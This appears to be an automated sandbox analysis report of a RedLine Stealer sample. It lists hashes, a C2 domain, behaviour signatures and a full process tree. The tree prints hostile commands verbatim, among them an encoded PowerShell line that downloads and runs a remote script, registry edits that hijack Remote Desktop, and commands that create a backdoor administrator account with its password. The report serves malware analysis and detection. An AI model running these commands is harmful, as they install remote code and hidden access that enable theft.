Analysis

  • max time kernel
    111s
  • max time network
    163s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    07-06-2021 11:42

General

  • Target

    ustwo_20210607-133958.exe

  • Size

    120KB

  • MD5

    bc3443ee6ebeac5b40d789367a61cc36

  • SHA1

    3aca0e6d34866853b9ed702d76e0222952451eb4

  • SHA256

    875f42b4ae4e80050231b14e50770f8e51a7b1f9887504ab6699860c9d37d09c

  • SHA512

    bb2450f210eb7ab34a51c91b28edbfb671570d47a9c8033fd74dc1437c2e99107e4052a8a6a911b6ccf5d29fa206bb173064a83ea47cddd83819079260430240

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

redline

Botnet

N6

C2

lyanannaron.xyz:80

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 18 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe
    "C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3992
    • C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe
      C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Users\Admin\AppData\Local\Temp\filename.exe
        "C:\Users\Admin\AppData\Local\Temp\filename.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3260
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
          4⤵
          • Deletes itself
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1728
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s4uxyrte\s4uxyrte.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:200
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6543.tmp" "c:\Users\Admin\AppData\Local\Temp\s4uxyrte\CSC940AA4FF2B0A4866A69C7916656BD38D.TMP"
              6⤵
                PID:3160
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4016
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2284
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2884
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
              5⤵
                PID:3888
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                5⤵
                • Modifies registry key
                PID:3940
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                5⤵
                  PID:900
                • C:\Windows\system32\net.exe
                  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:636
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    6⤵
                      PID:2408
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2296
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:372
                      • C:\Windows\system32\net.exe
                        net start rdpdr
                        7⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3144
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start rdpdr
                          8⤵
                            PID:3392
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3332
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3984
                        • C:\Windows\system32\net.exe
                          net start TermService
                          7⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2328
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 start TermService
                            8⤵
                              PID:936
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                        5⤵
                          PID:3172
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                          5⤵
                            PID:496
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:684
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2232
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:3052
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc CMmJStNp /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2736
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc CMmJStNp /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2784
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc CMmJStNp /add
                          3⤵
                            PID:3680
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2352
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1972
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:900
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1340
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3184
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:3144
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                              PID:3992
                              • C:\Windows\system32\net.exe
                                net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                2⤵
                                  PID:4056
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                    3⤵
                                      PID:3180
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc CMmJStNp
                                  1⤵
                                    PID:3776
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc CMmJStNp
                                      2⤵
                                        PID:184
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc CMmJStNp
                                          3⤵
                                            PID:4048
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C wmic path win32_VideoController get name
                                        1⤵
                                          PID:3700
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic path win32_VideoController get name
                                            2⤵
                                              PID:2772
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C wmic CPU get NAME
                                            1⤵
                                              PID:3732
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic CPU get NAME
                                                2⤵
                                                  PID:1304
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                1⤵
                                                  PID:1344
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    2⤵
                                                      PID:2732
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                        3⤵
                                                        • Blocklisted process makes network request
                                                        • Drops file in Program Files directory
                                                        • Drops file in Windows directory
                                                        • Modifies data under HKEY_USERS
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:4056

                                                  Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • memory/1728-154-0x000001ECFCDD0000-0x000001ECFCDD1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/1728-182-0x000001ECFD600000-0x000001ECFD601000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/1728-175-0x000001ECFCF20000-0x000001ECFCF21000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/1728-183-0x000001ECFD990000-0x000001ECFD991000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/1728-151-0x000001ECE2590000-0x000001ECE2592000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1728-152-0x000001ECE2593000-0x000001ECE2595000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1728-197-0x000001ECE2598000-0x000001ECE2599000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/1728-159-0x000001ECFCF80000-0x000001ECFCF81000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/1728-170-0x000001ECE2596000-0x000001ECE2598000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2284-212-0x0000026271DC6000-0x0000026271DC8000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2284-210-0x0000026271DC3000-0x0000026271DC5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2284-209-0x0000026271DC0000-0x0000026271DC2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2284-213-0x0000026271DC8000-0x0000026271DCA000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2324-133-0x0000000005800000-0x0000000005801000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2324-123-0x0000000000400000-0x000000000041E000-memory.dmp

                                                    Filesize

                                                    120KB

                                                  • memory/2324-128-0x0000000005BE0000-0x0000000005BE1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2324-129-0x00000000054F0000-0x00000000054F1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2324-134-0x0000000006950000-0x0000000006951000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2324-130-0x0000000005550000-0x0000000005551000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2324-132-0x00000000055C0000-0x00000000055C1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2324-131-0x00000000055D0000-0x00000000055D1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2884-217-0x00000168F9A68000-0x00000168F9A6A000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2884-216-0x00000168F9A66000-0x00000168F9A68000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2884-214-0x00000168F9A60000-0x00000168F9A62000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2884-215-0x00000168F9A63000-0x00000168F9A65000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3260-145-0x0000020C79726000-0x0000020C79727000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3260-140-0x0000020C79B70000-0x0000020C79F91000-memory.dmp

                                                    Filesize

                                                    4.1MB

                                                  • memory/3260-143-0x0000020C79723000-0x0000020C79725000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3260-142-0x0000020C79720000-0x0000020C79722000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3260-144-0x0000020C79725000-0x0000020C79726000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3992-120-0x00000000051A0000-0x00000000051A1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3992-117-0x0000000004E10000-0x0000000004E11000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3992-116-0x0000000005270000-0x0000000005271000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3992-122-0x0000000005180000-0x000000000518A000-memory.dmp

                                                    Filesize

                                                    40KB

                                                  • memory/3992-121-0x0000000005140000-0x0000000005141000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3992-114-0x0000000000540000-0x0000000000541000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3992-119-0x0000000004D70000-0x000000000526E000-memory.dmp

                                                    Filesize

                                                    5.0MB

                                                  • memory/3992-118-0x0000000004DA0000-0x0000000004DA1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/4016-198-0x0000014C45520000-0x0000014C45522000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4016-199-0x0000014C45523000-0x0000014C45525000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4016-206-0x0000014C45526000-0x0000014C45528000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4016-208-0x0000014C45528000-0x0000014C4552A000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4056-249-0x000001A729670000-0x000001A729672000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4056-250-0x000001A729673000-0x000001A729675000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4056-251-0x000001A729676000-0x000001A729678000-memory.dmp

                                                    Filesize

                                                    8KB